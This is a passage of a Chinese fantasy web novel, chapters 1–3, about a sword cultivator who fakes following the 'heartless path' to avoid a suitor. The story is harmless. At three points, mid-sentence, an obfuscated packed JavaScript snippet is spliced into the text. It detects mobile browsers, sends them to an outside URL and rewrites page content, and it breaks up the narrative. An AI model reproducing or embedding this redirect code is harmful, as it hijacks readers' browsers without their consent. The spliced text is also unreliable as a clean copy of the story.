《假装修炼无情道后GB》 1. 第1章 “铮——” 半人高的佩剑簌然被挑落,凌空翻转几圈后直直刺入地面,剑锋在台上印下一道遒劲的划痕,而剑身还余留颤动。 破空的剑鸣声令周遭一众看客顿时噤声。 “我,认输……” 擂台上身着白衣的男子失神地凝望自己的佩剑,喃喃低语般说道。 而后,一名长胡子老者腾空跃上擂台,长袖一拂,声如洪钟:“论剑大会八强争夺赛第三轮——青云剑宗黎江,胜!” 方才还寂静无声的台下骤然爆发起轰鸣的欢呼声。 “黎师兄威武——” “简直是碾压!” “不愧是青云剑宗的弟子,招式那叫个行云流水!” “多谢,多谢各位!”擂台上的紫衣男子黎江立即面露喜色高声答谢,手持佩剑潇洒地挽了一个剑花,玄金长剑“噔”地入鞘,又是引来一阵喝彩。 紫衣长袍随着他的动作肆意飘扬,好生逍遥。 “好!太帅了!” “好什么好啊——!”后山修士居所中,洛云晚怪叫一声,愤愤地重锤一下木桌,惊得桌上堆叠的灵石“哒”地一声散落一片。 泛着荧光的剔透灵石滚落到桌上布满了桌面,在布置简单的修士居所内熠熠生光。 “哎呀洛师姐,”木桌对面身穿墨绿道袍的胖修士一边回应她,一边面上绽出得意自在的笑,整个人几乎都要趴到桌面上一般,把灵石尽数揽入怀中,“愿赌服输,愿赌服输嘛。” “呜……”见桌面被收刮得空空如也,洛云晚终于是长长哀嚎了一声,丧气地瘫到木桌上,蔫蔫道,“我的灵石啊!怎会如此……” 太没道理了! 明明她是“当代剑修大能”明虚真人的亲传弟子,怎么私下里和同门赌赛还会输个精光啊!而且还是她专业领域内的比赛! 修士居里的镜面法器仍在实时转播着论剑大会现场的情况,洛云晚耳边响起有人看热闹不嫌事大的调笑声:“小云晚还是剑修呢,怎么押注不如杨师弟这个符修押得准呐!” 周围散发出一阵细碎的笑。 洛云晚想都没想就知道这吊儿郎当的声音出自谁人之口。 她手臂抬起,握拳用力“啪”地一声砸在木桌上,随即整个人趴在桌上吼了一句:“谢逍白你嘴要不要这么碎?!” 那人被她这么一吼,嘴角散漫地一勾,双手环抱在胸前,话语中带着笑:“得,长大了师兄都说不得了。” 这人一幅死样子,让她看着就来气! 怎么当大师兄的?! 洛云晚趴在桌上,抬眸愤愤瞪了他一眼。 后者眉头一挑,虚着眼回给她一笑,悠哉悠哉:“所以是为什么呢?” 作为一个剑修,在论剑大会上的押注输给了一个门外汉符修…… 这什么情况? ——她也不知道啊! 赛前押注时她真觉得黎江水平不如对面的,怎么能预料到正式对决时直接碾压了! 洛云晚有气无力冲谢逍白甩甩手:“是人就总会有看走眼的时候嘛……” 搏一搏,法宝变一坨。 洛云晚感觉自己的赌运特别背。 现在修真界最盛大的仙门大比已经进行数十天了,大大小小各个修仙派别的对擂都如期开展着。 她和如今修士居内的一众弟子一同代表临仙派前来论战,论战之余,他们也会时不时聚在一起竞猜比拼的输赢,顺便,押一点点灵石作为赌注。 可不知怎的,随着对擂的进行,她手头的灵石数目越来越少了! 对此,临仙派弟子间还流传着一句经典名言: 云晚反买,仙居靠海。 每一局都和洛云晚反着买的人如今仙居有没有临海,她不知道。 她只知道,自己现在当真是全身上下掏不出一个子儿,马上要因生活所迫下海了。 此刻有弟子正嬉笑着恭维杨师弟:“没想到师弟还懂几分剑法呀。” 胖墩杨师弟捧着灵石在手里掂了掂,“嘿嘿”憨笑道:“这专业对口的事儿当然还是洛师姐厉害,在下只是碰巧运气好罢了。” “那是,洛师姐接下来还有论剑对决呢,师姐你放心,你的对局我们全宗门都押你!” “保证保证!” “……” 聊着聊着话题又回到了自己身上,方才还丧气地瘫在桌面上的洛云晚在众弟子的视线中懒散地撑起身子,乌黑的眼珠在每个人身上转溜了一圈,突然勾起嘴角轻笑了一声。 束起的墨色高马尾随着她的动作轻轻晃动,发丝扫过她的脸颊,给人又添上了洒脱恣意的味道。 “放心,押我赢,包赚大的。” 说出这话时,洛云晚的眼睛亮晶晶,话语声轻飘飘,显得十足自信。 胖墩杨师弟情商高,立马接话:“那我们的致富之路可全靠洛师姐了啊。” 众弟子也接连点头附和:“对啊对啊!” “师姐可是剑宗第一天才!” “碾压他们!” “嘿嘿……”洛云晚被人夸得尾巴都快翘上天了,直直傻笑。 笑着笑着,她突然感觉有人戳了戳她的背。 她“嗯?”了一声,回头,只见谢逍白一脸屑笑,像是一只红毛狐狸。 洛云晚:“……干嘛?” 这个吊儿郎当的大师兄轻笑一声低头凑到她耳边,用气声悄悄问道:“光顾着傻笑呢,你这不去诓杨胖子一顿?他赢了你那么多灵石。” “对哦。”洛云晚眨眨眼,露出一个“还是你奸诈”的表情。 随即,她立刻转头看向杨师弟——和他手中本属于自己的、正莹莹发光的灵石——挑了下眉:“杨师弟今天收获颇多啊,正好天色不早了,不如做做主,请请客?” 她的尾音上挑,神情染上了狡黠之色。 此话一出,马上有人接话喊到:“赢家请客!请客!” 那杨师弟也是个实在人,被她摆了一套却毫不在意,挥挥袖子就高声答应道:“当然当然!今晚杨某请客,仙山脚下的寻味坊,愿意赴宴的道友劳烦跟我下山!” 好!计划通! 洛云晚当即老神在在站起身来,哼着小曲儿就跟在了出行队伍的最后。 可恶的杨胖子,赌赛的时候一直对她使激将法,赢了她身上的全部灵石! 看今晚不得全给他吃回来! 这样一来,掏空灵石的心理承受也会好上几分。 ——就当是自己出去吃了顿大餐,总比输精光听着好。 她一边微微摇晃着脑袋跟着走,一边凑近在队尾组织的杨师弟,咧开笑颜恭维道:“大气呀小杨,洛某在此谢过了!” 杨师弟衣袍一理,圆润的脸蛋上也溢出一抹笑来:“在下可比不得洛师姐,这一切啊,都多亏了师姐你慷慨解囊啊。” “哈哈。”洛云晚干笑了两声,暗中捏紧了拳头。 可恶,搁这儿阴阳她呢。 洛云晚正在脑子里盘算着自己的复仇计划,后背却被人冷不丁一拍,还有一句尾音上扬的调笑:“真有你的啊。” 用脚指头想都知道是谁! 她当即转头去看,脑门却“砰”地一声撞上一块又硬又冷的物什! “嗯?……唔噗!” 撞击感疼得她两眼发白,洛云晚捂着脑门,“哎哟”声叫个不停。 谢逍白神情不变,挑眉:“别装。真想讹你师兄钱啊。” “对啊,”洛云晚大言不惭,伸手就要钱,“你把我的修炼天赋撞没了,咱们临仙剑宗这届夺不了魁都怪你。赔钱!” 谢逍白仰头望天,吹个口哨:“要钱没有。我俩都是剑修,我的经济情况你自己不清楚啊。” “啧。”见计划落空,洛云晚立刻转变策略,呜咽声无缝衔接骂声,张口就来,“都怪你刚才贴我那么近!” “是是是,我的错。”谢逍白认命耸了耸肩,“谁让你突然转过来啊。” 说罢,他双手环抱着佩剑,眼神怜惜地用手掌抚摸刚刚被洛云晚撞上的剑柄,又抬眸看向她:“差点把我的宝贝撞凹了都。” 灼灼的狐狸眼闪着水光,显得人又无辜又可怜。 看得洛云晚…… 拳头硬了。 说的是人话吗! 谢逍白的佩剑是宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374756|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贝,她洛云晚的脑袋就不是了吗! 洛云晚咬牙,作势要一拳锤过去,嘴里直嚷嚷:“把!你的!剑!收……”好。 “嘘。” 她话还没吐完,谢逍白却突然神情一正,凑过来用肩撞了撞她,冲她使眼色:“有人来了,注意你的人设。” “嗯?!” 洛云晚几乎是条件反射一般,瞬间挺直了腰板背过身去! 叫骂的嘴角立刻抿紧,同时还不忘慌忙伸手整理好自己耳边的碎发和身后的高马尾。 整个人一副安静乖巧的模样,丝毫不见方才半分的撒泼姿态。 “啊,是临仙派的!” “这不是巧了吗!” 洛云晚动作还没做好,耳边就响起又惊又喜的叫喊声,一抬眼,三五个身着黄袍的修士已经跑到了他们身边。 “诸位道友好啊。” 正在队首带队的杨师弟率先拱手行礼,十足得体。 “杨道友好,各位道友好。”黄袍修士们也紧跟行礼问安。 为首的黄袍修士率先开口:“久仰各位道友大名,今日王某等人唐突,望各位莫怪莫怪啊!” 杨师弟忙笑呵呵作揖道:“无妨,结交仙友,也是吾辈之幸事啊。” 他率先打破了规规矩矩的行礼,现在氛围放松下来,交流也就变得随意了。 在交谈中洛云晚得知,这些身着黄袍的修士也是受邀来参加仙门大比的,只是他们的门派名气并不大,因此在遇见修仙大派临仙派的修士时会如此兴奋地前来建交。 她能感觉到,这几个修士想要广结人脉是一方面,更重要的,还是看上了临仙派的名头。 要知道,能攀上大名气仙门的机会那是可遇不可求的。若她站在对方的立场上,那一定是会发挥自己的厚脸皮技能好好套套近乎的。 所以…… 为首的黄袍修士大手一挥,含笑便招呼道:“正巧我们也打算去寻味坊,不如在下擅自做主,邀各位临仙道友一同用餐如何?” 诶? 洛云晚脑袋一懵,杨师弟和对方客套圆滑的推辞言语就在她耳边模模糊糊吹过去了。 等她回过神来,杨师弟已经笑呵呵地握住黄袍修士的手,上上下下摇了又摇:“那就多谢王道友了!” 见到这一幕,洛云晚的脑子才突然反应过来:要是让对方请了客,那她还怎么宰杨胖子一顿大的啊! 不好。 这下真亏得血本无归了。 “呃啊……” 洛云晚小步挤到谢逍白身旁,嘴唇微张,发出极其细微又难掩失望的长叹。 “……别叫了,像苍蝇。” 谢逍白被她的小动作逗乐得不行,正开口取笑,却见那为首的黄袍修士眼神一亮,几个人又直直往他们身边走来。 “镇山派王海,见过临仙剑宗谢道友、洛道友!久仰大名!”充当领头人的那位黄衣修士眼睛闪着光,行了个礼。 “道友客气了。”谢逍白回礼道。 说罢,他眼神含笑,不着痕迹地瞄了身侧的洛云晚一眼,而后者面若死灰,看着像还没缓过方才的打击。 这一下午究竟输了多少灵石啊。 谢逍白不禁在脑子里盘算。 …… “……话说洛道友可是将无情道修炼得炉火纯青啊,今日一见,果然气质不凡!在下佩服佩服!” 莫名的寒暄突然扯到自己身上,洛云晚游离的思绪骤然拉回,眼神重新聚焦在黄袍修士脸上。 她眨眨眼。 对方此刻正一脸期待和崇拜地盯着她,似乎见着了什么修仙大能。 啊? 我吗? 洛云晚偏头,又感受到周遭所有修士的目光都汇聚在她身上,带着打量与敬畏之意。 她的视线缓缓扫过每一个人。 虚虚与谢逍白打趣的眼神对上后,她立马转开了视线,最终将其停在了王海的脸上。 然后,她冷着脸,死气沉沉的眼睫像是凝结了冰花,唇瓣未启,低低挤出一个疏离冰冷的音节: “……嗯。” 谢逍白:?!太能装了吧! 2. 第2章 尽管谢逍白不是第一次这么近距离看洛云晚装模作样,他还是被对方的反应刺激地眉头一跳。 明明上一秒还躲在他身后嘟囔抱怨,一抬眼,少女的神情就立刻变得平静冷然,仿佛方才的一切都只是错觉。 让他不由得产生起割裂感来。 谢逍白很想说:不管你是谁,赶快从我师妹身上下来。 而另一边的黄袍修士们却是完全不一样的感受。 “嘶——”为首的王海心头一震,倒吸一口凉气,而后立刻将双手环抱住胸口,面皮展开,露出一个恭维的笑,摇头晃脑道,“不愧是剑宗的佼佼者!洛道友转修无情道仅仅数月,如今光是一个眼神就让吾辈不寒而栗啊!” 他身后的两个小弟子也立刻张嘴补充:“太强了太强了!” “洛道友道行颇高啊!” “噗呲……” 谢逍白最见不得熟人装沉稳,听到众修士拍洛云晚的马屁就忍不住发笑。 接着,他像是想到了什么好玩的点子,紧随着微笑开口道:“是呢,估计不出几年,师妹的修为就能赶超谢某了呀。” 此话一出,几双乌黑透亮的眼瞳立刻闪着晶光望向洛云晚。 而罪魁祸首谢逍白抱着剑对着她晃晃脑袋,高高束起的马尾随着风摇啊摇,一副无辜样儿。 ……不是, 没完没了了是吧? 洛云晚头顶青筋,眼皮也跟着跳了起来。 她很想握紧拳头冲着她那个吊儿郎当的大师兄脸颊砸一拳,顺便再告诉面前的黄袍修士们: 别夸了啊,再夸她真的要相信自己明天能干碎十个剑修了! 可惜说不得。 她得装深沉。 在外人面前的她如今是一个冷酷沉默的无情道剑修。 她现在能做的只是虚着眼斜扫过众人,嘴角勾起一个极其浅淡的弧度,压低了嗓音,略略开口道:“多谢,夸大了。” 如此冷淡从容的话语一出,果然又收获了几位修士的恭维。 惹得谢逍白一边憋笑,一边用他的宝贝剑柄戳她的背。 ……烦死啦! …… 黄袍修士和他们寒暄过几句后倒也没有忘了正事,连忙热情地招呼临仙派的一众结伴弟子下山赴宴。 临仙派为首的胖墩杨师弟大手一挥,身后弟子乐呵乐呵就跟着走了。 虽说不能实现自己“狠宰杨胖子一顿”的念想,但总归是天上掉下来免费的晚餐,洛云晚还是舒展开眉头,慢步跟了上去。 结果刚走没几步,自己的左肩又是被人“咚”地一撞。 她回头,对上谢逍白凑近后兴致冲冲的面容。 他用气声带着笑意打趣道:“看不出来,你挺能装啊,考虑去演话本吗?” 洛云晚谨慎地环视四周,见无人关注到这边,当即便对谢逍白翻了个白眼,嘴唇微启,咬着牙小声回应:“还不都是你出的馊主意,逼得我三天速成面瘫。” 谢逍白被她骂了也不恼,双手持剑环抱胸前,挑眉便笑道:“你就说帮没帮你挡下烂桃花?现在人家一听你转修无情道,想来结识的心思都不敢生了。” “……”洛云晚斜了他一眼,低声嘟囔道,“下次想个体面点的方法吧,装闷葫芦装得我想吐。” …… 洛云晚掰着指头数了数,今天是她假装修炼无情道的第六十五天。 也就是说,自从她上一次在公众场合肆意流露真情实感,已经过去了两个多月。 在这些日子里,买包子被插队不能一脚踹上那人的屁股,路过外门不能偷听弟子讲八卦,就连大师兄谢逍白喝醉酒抱着酒楼门前的狗唱了一宿情歌这件事她都不能发出笑声。 太憋屈了。 不过回想起当初是自己亲口认同的这个提议,洛云晚一肚子的气就只能咽了下去。 关于她为何要假装修炼无情道,这倒真不是她闲得没事。 要是她当初知道接个除妖任务会被烂桃花纠缠上,她说什么也不会接了! 除非加价到十万灵石。 她不过是下凡帮一户人家封印了附身的邪祟,结果被解救的大公子两眼一闭泪花一泻,哭号着双手扒拉上她的衣袖,缠着她不松手了。 大公子从小娇生惯养,长得白白胖胖,穿着枣红色镶金边袍子就像是一颗被包裹的元宵。 元宵说要娶她。 洛云晚嘻嘻一笑:“我夜不归宿,始乱终弃。“ 元宵说没关系,他就想整日和她在一起。 洛云晚耸肩摊手:“过几天我回门派闭关,十年都不出来。” 元宵眯成一条缝的眼睛又溢出水花来,哭丧着说想和她一起回仙门。 洛云晚还没开口呢,这边雇主老爷夫人先急了。 说什么也不让宝贝大儿子抛弃家产去当那个“劳什子”仙人。 这话听得洛云晚这个“劳什子”仙人也不禁眼泪汪汪。 她真想和大公子互换灵魂,让她来继承这满目的金山银山。 她当年拜入仙门前可没有这种选择题! 可惜大公子一哭二闹非要娶亲,老爷夫人也拿他没法,只好一边好吃好喝招待着洛云晚,一边暗中劝她快想想法子。 洛云晚本想拔腿就溜,结果天天吃人家的嘴软,倒是不好意思上了。 毕竟这大公子虽然粘牙了点——不对,粘人了点——但本性其实不算坏。 而且她也担心要是不把事情解决好,万一大公子闹出什么极端祸事才是遭罪。 结果洛云晚躺在床上想了一宿,从星子漫天想到雄鸡叫鸣,把脑门都抠破了也没能想出好招。 实在走投无路了,她只好哭丧着脸掏出传讯镜面,一通视频电话打到了临仙剑宗。 法器投映出一片雾蒙蒙的场景,波纹荡漾数圈,逐渐变得清晰,露出一只擦拭镜面的手。 随后画面一展,谢逍白整张脸凑到镜前,眯眼就笑着挥手,嘴里还叼着一根野草:“哟,小云晚,出任务遇到困难啦?哭哭啼啼来找师门求助?” 洛云晚此刻看谢逍白都无比顺眼,难得没有接他的损话,吸了吸鼻涕,“哇——”的一声就开始诉苦。 从除妖讲到大公子一见钟情,从对方非要成亲再讲到这家的宴席比临仙派食堂好吃一万倍,等她叽里咕噜宣泄完了,才发现剑宗同门连晨练都不做了,全聚在镜面前看她热闹看得津津有味。 末了,大师兄谢逍白嚼嚼草根,笑得爽朗:“那就答应人家嘛,好吃好喝下辈子都不愁了。” “不要啊——”洛云晚趴桌子上嚎叫,“我不想成亲啊!” 一嗓子嚎完,她又鲤鱼打挺般坐直身子,双手紧攥法器,目光扫过众同门:“求求各位了,帮我想个好办法吧!不然我真回不来了!” 虽然看不见自己的样貌,但洛云晚估计现在的她应该满脸都是鼻涕和眼泪,狼狈得不行。 因为就连最没正形的谢逍白听了她的嚎哭都愣了愣,没再继续给她扯皮添乱,而是开始抓头发思考了。 画面似乎静止了。 洛云晚撑着脑袋等啊等,等到她开始怀疑这是谢逍白睡着了还是法器掉线了,画面却突然绽开一层涟漪。 她像是沙漠的旅人突然遇见绿洲,一下子坐直身子抓紧法器,还没看清内容就急慌慌开口:“怎么了怎么了?想出来了吗?” 画面那头谢逍白叼着野草的面容逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374757|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐清晰,像混混一样痞笑道:“有了!你去告诉他你其实修的是无情道,杀夫证道,命硬的来。” 杀夫证道,命硬的来…… 谢逍白笑嘻嘻的声音在洛云晚的耳边萦绕,这八个字把她雷得不行。 “不是?”洛云晚听完歪头思索,“这……可行吗?” 且不说能不能让对方相信,光是被发现了可就是学历造假啊! 会被雇主投诉的! 然后一分钱报酬都拿不回来! 为了自己的灵石,洛云晚捏着下巴陷入了深深的沉思当中。 而当她犹豫时,正在修炼无情道的小师妹贺鸢从画面底下探了个脑袋顶,冷淡点头附和:“师姐,我觉得可行。” 谢逍白伸手把法器镜头往下调,直到露出贺鸢小巧的脸蛋和淡漠的神情。 小师妹贺鸢如清潭般澄澈的眸子倒映出她对洛云晚演技的满满认可:“师姐,你就学我平时的样子,相信你。” 连最专业对口的人员都赞成了提议,其余同门弟子也便纷纷接话:“好主意!”“就这么说吧洛师姐!”“不要露馅了!” 被同门这么一打气,洛云晚心中便不再顾虑,情绪也跟着上涨了些,“嘿嘿”傻笑了两声,挥拳道:“好!” 谢逍白叮嘱:“别傻笑了!学学小师妹,起码要装得像一些!” 贺鸢跟着抬眸:“加油。” …… 后来洛云晚在晚宴上当着大公子和老爷夫人的面,一边掐自己大腿憋笑,一边故作深沉说自己“修了无情道”。 大公子崩溃:“我不听我不信!” 洛云晚:“不管你信不信,反正我们无情道最终都得杀夫证道。” 此话一出,不等大公子撒泼,夫人就“哎哟”两声火速捂住了他的嘴,老爷在一旁作揖赔笑:“先前多谢仙师降妖除魔,可惜与仙家结亲之事……犬子实在无福消受啊!” 如此一来一回,成亲之事便自然作废了。 洛云晚在好吃好喝一顿后便礼貌道谢,离开了府邸。 重新回到临仙派后,正巧宗门招新结束,大殿内几十双圆溜溜的眼睛钦佩崇拜地盯着这个逍遥肆意的师姐,这种感觉让洛云晚好生享受。 她在大殿显摆溜达一圈后,正打算悠哉哉去酒楼买个醉,殿前却突然传来一声高呼:“洛师姐——有你的锦旗——” “是褒奖我徒儿下山除妖一番功绩的?”师尊明虚真人胡子一缕,乐呵乐呵,“来,念念,给新同门做个榜样。” “是!”那传话弟子应声,锦旗“唰”地一展,清清嗓子,声如洪钟,“敬赠洛仙师:降妖除魔,功德无量!仙途坦荡,道法长青!” “好好!”明虚真人满意鼓掌,正要起身迎接洛云晚。 传话弟子又念:“愿您在无情道上仙途顺遂,法力精进,早日得道飞升!林府敬上。” 明虚真人“啊?”了一声,步子一踉跄,险些从台阶上跌下,直指洛云晚:“你、你个逆徒!何时又修上无情道了?” “哇……”不料众多新弟子却发出惊叹,“居然是无情道!洛师姐简直是吾辈楷模!” “太厉害了师姐!” 这不是完犊子了吗。 事后,洛云晚极其诚恳地跪在殿前向明虚真人忏悔,并表示自己再也不拿无情道撒谎。 谁料明虚真人气头来得快去得也快,眼珠一转,便扶她起身:“其实不然,恰恰相反。 “正巧百年一次的仙门大比即将在咱们临仙派举办,不如将错就错,这无情道剑修的名头听着多气派!你若夺得魁首,那不更是可以好生宣传一番,出尽风头?” 洛云晚黑线:师傅你也是个没节操的…… 3. 第3章 或许是有明虚真人在背后推波助澜,不到三天,“临仙剑宗天才剑修洛云晚改修无情道”的消息就传遍了修仙界。 在此之后,洛云晚每次出门都会感觉有人偷偷对自己指指点点。 似乎是在惋惜正值青春年华的剑修怎么就踏上了无情道这样一条不归路。 虽说答应了师傅假装修炼无情道,但洛云晚实在是憋不住自己一肚子的话,便私下里和交好的道友说清了情况,顺便也恳求他们帮忙瞒着。 今日在后山一起竞猜押注的便是其中一批。 知道真相的杨胖子还极其怜悯地拍拍她的背,摇头晃脑:“不容易啊,真是难为师姐装了那么久。” 幸灾乐祸吧这是! 也不知道这样的日子还要过…… “到了各位道友!” 一声高呼打断了洛云晚的思绪,她顺着声音抬眼向上望,一幢矗立在青山脚下的高楼便映入眼帘。 木质的装潢极为大气,门前蹲守着两只雕刻精细的石狮,圆目威武,栩栩如生。两串橘红的灯笼在檐下飘扬,门楣之上,悬挂有一块巨大的牌匾,刻有笔走龙蛇般的三个大字——“寻味坊”。 还未入内,店里的喧哗热闹声已经倾泻而出。紧随的,还有飘香热腾的饭菜味。 镇山派的带队师兄王海“唰”地一挥衣袖,大步向前迈,同时不忘回头招呼道:“各位道友敞开了吃,王某请!” “大气大气!” “好诶!” 同门弟子极其捧场,一边欢呼一边簇拥着王海进店。 “……”洛云晚吞咽一声,眼巴巴也跟着进去。 方才跟着队伍一路下山奔波了许久,她的肚子早就开始咕咕叫了。 一会儿势必要饱餐一顿! …… 洛云晚失算了。 她一路上光顾着回忆自己走上不归路的经历了,完全忘记共同赴宴的还有镇山派的弟子。 也就是说,她必须保持十足的从容与得体来吃这顿饭。 时刻注意自己的仪态和食量,以免给无情道丢脸。 毕竟,小师妹贺鸢提醒过她,修炼无情道的修士受到心法的影响,“吃得寡淡”“食量小”而且“没有吃零食的欲望”。 洛云晚一边想着小师妹的话,一边小声喃喃:“好可怜……” 自己好可怜。 她望着一桌的蟹黄豆腐、葱烧海参、冰糖肘子,只能含泪夹起一根青菜叶。 更要命的是,一名矮矮小小的镇山派女剑修似乎把她当作了自己的偶像,吃饭前抢着嚷着要坐她身旁的位置。 洛云晚本想夹菜偷偷背过身大吃一口,结果转头一看,那剑修正两眼亮晶晶地盯着她,对上视线了还羞涩地笑了两声。 洛云晚尴尬地眨眨眼,含泪把一块嫩得流油的水晶鲈鱼卷夹给小剑修。 小剑修脸颊瞬间爆红,双手捂着胸口尖叫:“天啊——” 又引来一众修士注目。 …… 洛云晚一顿饭吃得又饿又不自在,浑身像是有蚂蚁在爬。 等到饭局进行得差不多了,众人开始寒暄闲聊,她立马找了个理由先行离开包厢,想着去店外小摊买点零嘴偷偷吃。 推开包厢门,一阵晚间的凉风簌簌吹来,拂过她鬓边的发丝,也让她清醒了几分。 方才隔间里人多,而且几乎都喝了酒,四周弥漫着闷气。 洛云晚第一次这么讨厌酒味。 …… 夜色把天幕染成墨色,一轮圆月映在波纹荡漾的水面上。 岸边栽种着郁郁的桃树,如今正是桃花初绽时,人影错落中隐约浮动着浅淡清香。 洛云晚扶着栏杆走在长廊里,偶尔偏头看看荷叶下摇晃的月色和夜幕里黯淡的桃花。 店小二端着餐盘提着酒罐在人流中灵巧地穿梭,不少打扮华贵的宾客也趁吃完饭出来透风,其中不乏身着仙袍的人。 寻味坊集饭馆与酒楼一体,环境雅致,又开在仙山脚下,自然会是山上修士聚餐常来的好去处;而如今百年一次的仙门大比正在临仙派举办,不少其他门派宗门的修士也纷纷慕名而来。 由于杨胖子和镇山派的王海都是临时起意来吃饭,所以等他们一行人到店后,已经没有什么位置了,所幸寻味坊常年与仙山修士打交道,专门为其预留了包厢,不过就是地理位置有些偏。 洛云晚一通走走停停,终于看见前方不远处热闹明亮的大堂。 好,再走过三个长廊拐角就到了! 洛云晚深吸一口气,抱着必须吃到饭的决心,重重地迈开步子! 一分钟过去,她停下脚步。 ——前面的路,被人挡住了。 …… “混账东西!当初就是你抢了老子的机缘!” 夹杂着怒意的声音在前方响起,一个高大壮硕的灰衣男子背对着洛云晚,猛地一拍栏杆,上手去扯另一人的衣领。 树梢上浅粉的桃花被他的力道震落,纷纷洒洒落了一地。 低头去看桃花瓣的刹那,洛云晚听到了另一人的声音:“……你谁?抢过的人太多,我忘了。” 极其散漫,极其轻浮。 上扬的尾音甚至听得出几分笑意。 “你个妖孽!”灰衣男手臂青筋爆开,硬生生将人拽到自己跟前,呼吸粗重而急促,“要不是你,我怎会……怎会落到这个下场!” “呵……哈哈……”对面那人明明被对方拖拽得一踉跄,此刻却像是听到了什么十分幽默的笑话,发颤的笑声絮絮从嘴角传出。 他笑得止不住偏头,透过背对的灰衣男子,正好撞进洛云晚的视线中。 那是一张侧着的、极其好看的脸,即使是在这么一个狼狈的场景下,也不减艳色分毫。 他有一双上挑而水润的桃花眼,此刻正笑得眯起,秀气的双颊浸染着醉意的薄粉,沾湿的黑发垂落,遮住了他殷红的唇。 整张脸透露出一种肆意的疯气。 不过看上去是一个年纪不大的少年。 洛云晚听到他笑着说:“怎么不往好处想想呢?如果当初你没有遇见我,可能早就被人陷害死在秘境里了呢。毕竟……再好的机缘,也要有命拿啊。” “你、你……老子杀了你!”灰衣男脖子气得涨红,怒喝一声,周身气场大展! 爆发出的无形气场犹如狂风席卷四周,惊落一树桃花,他身上衣衫更是被吹得猎猎作响。 和他一对比,被扯着衣领的少年却是显得手无缚鸡之力,似乎顷刻便会被这狂风碾碎。 这是,要打起来了吗? 就在这儿? 洛云晚看戏正看得乐呵,怎知对方突然掀桌,依仗这架势,把这木质的长廊掀翻倒不是没可能。 不要啊,她还得出去找吃的呢! 生怕待会儿木长廊被劈断,她只能从荷花池里游去大堂,洛云晚轻咳一声,提醒道:“私下去打嘛,别挡路。” “嗯?!谁!”灰衣男子听到背后有人声,浑身一震,警惕地转过头来。 他“簌”地推开少年,随即上下打量洛云晚,然后忽的嗤笑了一声:“嘁,老子当是谁呢,原来是个娘们儿,滚开!” 说罢,男子周身气场又一次炸开。 洛云晚纹丝不动。 只是觉得脸颊痒痒的。 她伸手挠了挠,又看见那被推开的黑衣少年踉跄几步,靠着栏杆,不逃走也不说话。 灰衣男脸上的狞笑有点挂不住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374758|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 正在这时,一道颤抖的声音弱弱从洛云晚身后飘来:“几位贵客……让一让小的呗……” 她扭头,发现是一位瑟缩在她衣摆后面的店小二,右肩还披着一条灰黑的长抹布,看上去刚刚打扫完包间准备回大堂。 看吧! 不止她一个人觉得挡路。 对上视线后,店小二尴尬朝她笑笑,作揖轻声道:“仙师见笑了。” 哦对,她现在还穿着临仙派的道袍。 临仙派弟子是寻味坊的常客,这些店小二认得衣袍也是正常的。 不过看那灰衣男子的样子,应该是不认识的。 他脸色一沉,怒喝一声:“让什么让!我看谁敢打扰老子!” 店小二瑟缩着往她身后躲了躲。 洛云晚这下不得不管一管了。 她就算脾气再好,忍得下灰衣男的鄙夷,她也不能顶着临仙派的名头在这儿当缩头乌龟,让店家看笑话。 更何况她脾气不太好。 “我说——”洛云晚拉过长廊边垂落的桃枝,从树杈折下笔挺的一枝,在空中划出一道剑花,望向灰衣男子,“别挡路。” “嗬——呸!”灰衣男捏紧拳头,舔了舔唇,“娘们儿找揍是吧?爷爷来满足……”你。 话未说完,一道凌冽的剑风便扑面而来! 剑气肃杀冷然,无形的风就如同最为锋利的刃,直直将灰衣男子击退数里,脸颊边随即溢出一抹血痕。 “砰”! 他被剑风推到栏杆边上,整个人再重重地跌坐在地! 此般动作,不过瞬息之间。 “啊啊……!” 灰衣男此刻哪还有什么狂风般的气场,双腿都吓软了,扶着栏杆站起身,又是一个不稳身子往后仰,“噗通”一声就摔进了荷塘中央,溅起一汪水花。 “多谢仙师,”店小二连连道谢,“小的可以帮您禀告,让东家处理……” 洛云晚抖落桃枝上樱粉的花瓣,垂眸道:“不必。” 店小二听罢,迈着碎步飞快就从长廊拐角消失了。 “呵呵……” 方才倚在栏杆边看戏的少年低低一笑,手指把玩起不知在何处捡来的一片桃花瓣,抬眸又看洛云晚:“临仙剑宗的?修为不错。” 黑发黑衣衬着他如桃花般的面容,艳丽又颓靡。 “咕……呸!”刚才脚滑的灰衣男在水里扑腾了几下,呛出一口水,嗓子一空又骂道,“老子说你这娘们儿为什么会帮他这个小白脸,看对眼了是吗?还是老相好?” “……” “是啊。” 